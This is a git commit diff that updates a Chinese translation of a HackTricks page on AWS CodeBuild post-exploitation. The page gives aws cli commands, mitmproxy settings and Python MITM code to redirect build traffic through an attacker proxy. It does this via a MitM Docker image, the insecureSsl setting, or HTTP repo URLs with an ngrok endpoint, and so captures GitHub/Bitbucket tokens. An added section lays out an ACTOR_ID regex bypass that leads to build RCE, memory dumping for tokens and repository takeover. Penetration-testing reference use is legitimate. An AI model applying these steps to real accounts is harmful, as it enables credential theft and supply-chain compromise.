mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 恢复 Github/Bitbucket 配置的令牌
|
||||
## 恢复已配置的 Github/Bitbucket Tokens
|
||||
|
||||
首先,检查是否配置了任何源凭据,以便您可以泄露:
|
||||
首先,检查是否存在任何已配置的源凭证,你可以 leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### 通过 Docker 镜像
|
||||
### Via Docker Image
|
||||
|
||||
如果您发现例如 Github 的身份验证已在账户中设置,您可以通过让 Codebuild **使用特定的 Docker 镜像** 来 **提取** 该 **访问** (**GH token 或 OAuth token**)以运行项目的构建。
|
||||
如果你发现该账号中对例如 Github 的认证已设置,你可以通过让 Codebuild **use an specific docker image** 来运行项目构建,从而 **exfiltrate** 那个 **access**(**GH token or OAuth token**)。
|
||||
|
||||
为此,您可以 **创建一个新的 Codebuild 项目** 或更改现有项目的 **环境** 以设置 **Docker 镜像**。
|
||||
为此你可以 **create a new Codebuild project** 或更改现有项目的 **环境** 来设置 **Docker image**。
|
||||
|
||||
您可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基本的 Docker 镜像,将设置 **环境变量 `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许您拦截在 **`https_proxy`** 和 **`http_proxy`** 中指示的主机的大部分流量,并信任在 **`SSL_CERT_FILE`** 中指示的 SSL 证书。
|
||||
你可以使用的 Docker image 是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image,会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截由 **`https_proxy`** 和 **`http_proxy`** 指定主机的大部分流量,并信任 **`SSL_CERT_FILE`** 指定的 SSL 证书。
|
||||
|
||||
1. **创建并上传您自己的 Docker MitM 镜像**
|
||||
- 按照仓库的说明设置您的代理 IP 地址并设置您的 SSL 证书,然后 **构建 Docker 镜像**。
|
||||
- **不要设置 `http_proxy`** 以避免拦截对元数据端点的请求。
|
||||
- 您可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理设置为您的主机。
|
||||
- 一旦您构建了 Docker 镜像,**将其上传到公共仓库**(Dockerhub、ECR...)。
|
||||
2. **设置环境**
|
||||
- 创建一个 **新的 Codebuild 项目** 或 **修改** 现有项目的环境。
|
||||
- 设置项目以使用 **之前生成的 Docker 镜像**。
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- 按照该 repo 的说明设置你的代理 IP 地址并设置你的 SSL 证书,然后 **build the docker image**。
|
||||
- **DO NOT SET `http_proxy`**,以免拦截到 metadata endpoint 的请求。
|
||||
- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 将代理指向你的主机
|
||||
- 一旦构建好 Docker image,**upload it to a public repo**(Dockerhub、ECR...)
|
||||
2. **Set the environment**
|
||||
- 创建一个 **new Codebuild project** 或 **modify** 现有项目的环境。
|
||||
- 将项目设置为使用 **previously generated Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **在您的主机上设置 MitM 代理**
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- 如 **Github 仓库** 中所示,您可以使用类似的内容:
|
||||
- 如 **Github repo** 所示,你可以使用类似:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> 使用的 **mitmproxy 版本是 9.0.1**,据报道在版本 10 中这可能无法工作。
|
||||
> 使用的 **mitmproxy 版本是 9.0.1**,有报道称在版本 10 上这可能无法工作。
|
||||
|
||||
4. **运行构建并捕获凭据**
|
||||
4. **运行构建并捕获凭证**
|
||||
|
||||
- 您可以在 **Authorization** 头中看到令牌:
|
||||
- 你可以在 **Authorization** 标头中看到 token:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
这也可以通过 aws cli 以类似的方式完成。
|
||||
这也可以通过 aws cli 完成,例如:
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### 通过 insecureSSL
|
||||
|
||||
**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在网页中隐藏,您只能通过 API 更改它。\
|
||||
启用此选项后,Codebuild 可以连接到存储库 **而不检查** 平台提供的证书。
|
||||
**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,这个设置在 web 界面中是隐藏的,只能通过 API 修改.\
|
||||
启用后,允许 Codebuild 在连接到仓库时**不校验平台提供的证书**。
|
||||
|
||||
- 首先,您需要使用类似以下的方式枚举当前配置:
|
||||
- 首先需要用类似下面的命令枚举当前配置:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- 然后,使用收集到的信息,您可以将项目设置 **`insecureSsl`** 更新为 **`True`**。以下是我更新项目的示例,请注意最后的 **`insecureSsl=True`**(这是您需要从收集的配置中更改的唯一内容)。
|
||||
- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy**,指向您的 tcp ngrok,如:
|
||||
- 然后,使用收集到的信息,你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的示例,注意末尾的 **`insecureSsl=True`**(这是你需要从收集到的配置中更改的唯一一项)。
|
||||
- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy** 指向你的 tcp ngrok,例如:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
|
||||
- 然后,在代理变量(http_proxy 和 https_proxy)所指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- 最后,点击 **Build the project**,**凭证**将以 **明文**(base64)发送到 mitm 端口:
|
||||
- 最后,点击 **构建项目 (Build the project)**,这些 **credentials** 将以 **明文**(base64)发送到 mitm 端口:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~通过 HTTP 协议~~
|
||||
|
||||
> [!TIP] > **这个漏洞在 2023 年 2 月第 20 周的某个时候被 AWS 修复了(我想是星期五)。所以攻击者不能再利用它了 :)**
|
||||
> [!TIP] > **这个漏洞在 2023 年 2 月 20 日那一周被 AWS 修复(我想是周五)。因此攻击者无法再滥用它 :)**
|
||||
|
||||
具有 **提升权限的攻击者在 CodeBuild 中可能会泄露配置的 Github/Bitbucket 令牌**,或者如果权限是通过 OAuth 配置的,则会泄露 **用于访问代码的临时 OAuth 令牌**。
|
||||
具有对 CodeBuild 提权的攻击者可能会 leak 已配置的 Github/Bitbucket token,或者如果权限通过 OAuth 配置,则会 leak 用于访问代码的临时 OAuth token。
|
||||
|
||||
- 攻击者可以将环境变量 **http_proxy** 和 **https_proxy** 添加到 CodeBuild 项目,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
|
||||
- 攻击者可以在 CodeBuild 项目中添加环境变量 **http_proxy** 和 **https_proxy** 指向其机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 然后,将 github 仓库的 URL 更改为使用 HTTP 而不是 HTTPS,例如: `http://github.com/carlospolop-forks/TestActions`
|
||||
- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。
|
||||
- 然后,将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS,例如:`http://github.com/carlospolop-forks/TestActions`
|
||||
- 然后,在由代理变量(http_proxy 和 https_proxy)指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- 接下来,点击 **Build the project** 或从命令行启动构建:
|
||||
- 接下来,点击 **构建项目** 或从命令行启动构建:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- 最后,**凭证**将以**明文**(base64)发送到mitm端口:
|
||||
- 最后,**credentials** 将以**明文**(base64)发送到 mitm 端口:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> 现在攻击者将能够从他的机器上使用令牌,列出它拥有的所有权限,并且比直接使用CodeBuild服务更容易(滥用)。
|
||||
> 现在攻击者可以在其机器上使用该 token,列出其拥有的所有权限,并比直接使用 CodeBuild 服务更容易地滥用它。
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist 绕过(PR 触发的特权构建)
|
||||
|
||||
配置错误的 CodeBuild GitHub webhook 使用未加锚点的 `ACTOR_ID` regex 时,会允许 *untrusted* PR 启动特权构建。如果 allowlist 写成 `123456|7890123` 而没有 `^`/`$`,任何包含这些子串之一的 ID 都会匹配。由于 GitHub 用户 ID 是顺序分配的,攻击者可以争先注册一个 “eclipsing” ID(包含受信任 ID 的超串),从而触发构建。
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. 查找公开的 CodeBuild 项目,暴露 webhook filters 并提取未加锚点的 `ACTOR_ID` allowlist。
|
||||
2. 获得一个 eclipsing GitHub ID:
|
||||
- 通过创建/删除 GitHub orgs 来抽样全局 ID 计数器(org IDs 共享该池)。
|
||||
- 预先准备大量 GitHub App manifest 的创建请求,当计数器接近目标约 100 个 ID 时,触发确认 URL 以突发性注册一个包含受信任子串的 bot ID。
|
||||
3. 用 eclipsing 账户发起 PR;regex 会匹配该子串,从而运行特权构建。
|
||||
4. 利用构建 RCE(例如依赖安装钩子)转储处理 GitHub credential 的进程内存并恢复 PAT/OAuth token。
|
||||
5. 使用该 token 的 `repo` scope,将你的账户邀请为 collaborator/admin,推送/批准恶意提交或外泄 secrets。
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user